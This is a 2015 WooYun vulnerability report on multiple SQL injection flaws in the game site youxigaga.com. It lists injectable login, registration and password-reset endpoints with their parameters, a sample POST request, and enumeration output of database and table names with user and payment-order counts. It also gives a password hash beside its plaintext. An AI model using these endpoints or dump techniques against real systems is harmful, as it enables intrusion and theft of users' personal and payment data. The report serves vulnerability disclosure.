当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155568

漏洞标题:游戏嘎嘎多个SQL注入导致大量用户及敏感信息泄露

相关厂商:游戏嘎嘎

漏洞作者: 路人甲

提交时间:2015-11-28 00:58

修复时间:2016-01-12 01:00

公开时间:2016-01-12 01:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

游戏嘎嘎大量用户及敏感信息泄露

详细说明:

微信截图_20151124164836.png


问题很严重:35万用户信息,MD5密码,其中大量默认密码,大量充值消费记录等,根本停不下来

03c13183a143c1351685ad2ff07d1551	md5	{P@ssw0rd}1


http://www.youxigaga.com:80/ddt_login_do.php (username)
http://www.youxigaga.com:80/fast_login_do.php (username)
http://www.youxigaga.com:80/forget_do.php (username)
http://www.youxigaga.com:80/login_do.php (username)
http://www.youxigaga.com:80/register_do.php (username)
http://www.youxigaga.com:80/sub_req.php (m_id)
http://www.youxigaga.com:80/wls/list_new.php (p_id)

漏洞证明:

http://www.youxigaga.com:80/register_do.php (POST)
Submit=%e7%ab%8b%e5%8d%b3%e6%b3%a8%e5%86%8c&[email protected]&i_mid=1&mobilenumber=987-65-4329&passwd=g00dPa$$w0rD&protocol1=1&rand=1&reg_err=&repeatpasswd=g00dPa$$w0rD&uname=gncfskii&username=gncfskii0008dMt&u_num=1


back-end DBMS: MySQL 5.0.12
available databases [5]:
[*] bbs
[*] glyou
[*] information_schema
[*] mysql
[*] performance_schema
[60 tables]
+--------------------+
| alipay_order |
| aszt_order |
| ddt_card |
| ddt_gameevent |
| ddt_order |
| dtzl_order |
| errlogin_log |
| ftxlq_card |
| ftxlq_order |
| fx_logingame_log |
| game_meg |
| game_order |
| gl_jiang |
| gl_jianglog |
| hysj_order |
| last_sign |
| logingame_callback |
| logingame_log |
| loginindex_log |
| m_allorder |
| m_consumer |
| m_content |
| m_content_layout |
| m_fxuser |
| m_fxusermember |
| m_game |
| m_invitation |
| m_lib_img |
| m_loginrecord |
| m_message |
| m_order |
| m_promotion |
| m_server |
| m_usermember |
| m_usermessage |
| novice_card |
| p_allorder |
| p_order |
| pay_order |
| qh_card |
| rx_order |
| sgyy_order |
| sq_card |
| sq_order |
| sssg_order |
| sxd_order |
| tx_order |
| wdqk_card |
| wdqk_order |
| wgyj_card |
| wgyj_order |
| wl_card |
| wl_order |
| xx_order |
| xy_card |
| xy_order |
| yeepay_order |
| yjdx_order |
| yxwz_card |
| yxwz_order |
+--------------------+
Database: glyou
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| loginindex_log | 6190726 |
| logingame_log | 3294361 |
| ddt_gameevent | 1428735 |
| logingame_callback | 872246 |
| m_usermember | 352906 |
| yeepay_order | 242590 |
| fx_logingame_log | 204839 |
| last_sign | 200236 |
| m_fxuser | 113636 |
| errlogin_log | 95191 |
| ddt_order | 60284 |
| pay_order | 25409 |
| ddt_card | 22498 |
| yxwz_card | 21479 |
| m_loginrecord | 21160 |
| sq_card | 16000 |
| wgyj_card | 14930 |
| sxd_order | 12248 |
| hysj_order | 11855 |
| xy_card | 10001 |
| novice_card | 10000 |
| wl_card | 10000 |
| alipay_order | 9729 |
| m_content_layout | 7566 |
| ftxlq_card | 5000 |
| sq_order | 4731 |
| wdqk_card | 4499 |
| tx_order | 2969 |
| rx_order | 2660 |
| qh_card | 2000 |
| sssg_order | 1701 |
| yjdx_order | 1501 |
| yxwz_order | 1458 |
| dtzl_order | 1447 |
| wgyj_order | 669 |
| aszt_order | 468 |
| p_order | 383 |
| ftxlq_order | 367 |
| game_order | 313 |
| game_meg | 312 |
| wl_order | 191 |
| wdqk_order | 187 |
| m_content | 181 |
| xy_order | 75 |
| m_server | 59 |
| sgyy_order | 54 |
| m_invitation | 53 |
| p_allorder | 51 |
| gl_jiang | 45 |
| m_fxusermember | 32 |
| m_lib_img | 24 |
| m_game | 18 |
| gl_jianglog | 7 |
| m_promotion | 7 |
| m_consumer | 3 |
+--------------------+---------+


微信截图_20151124164558.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝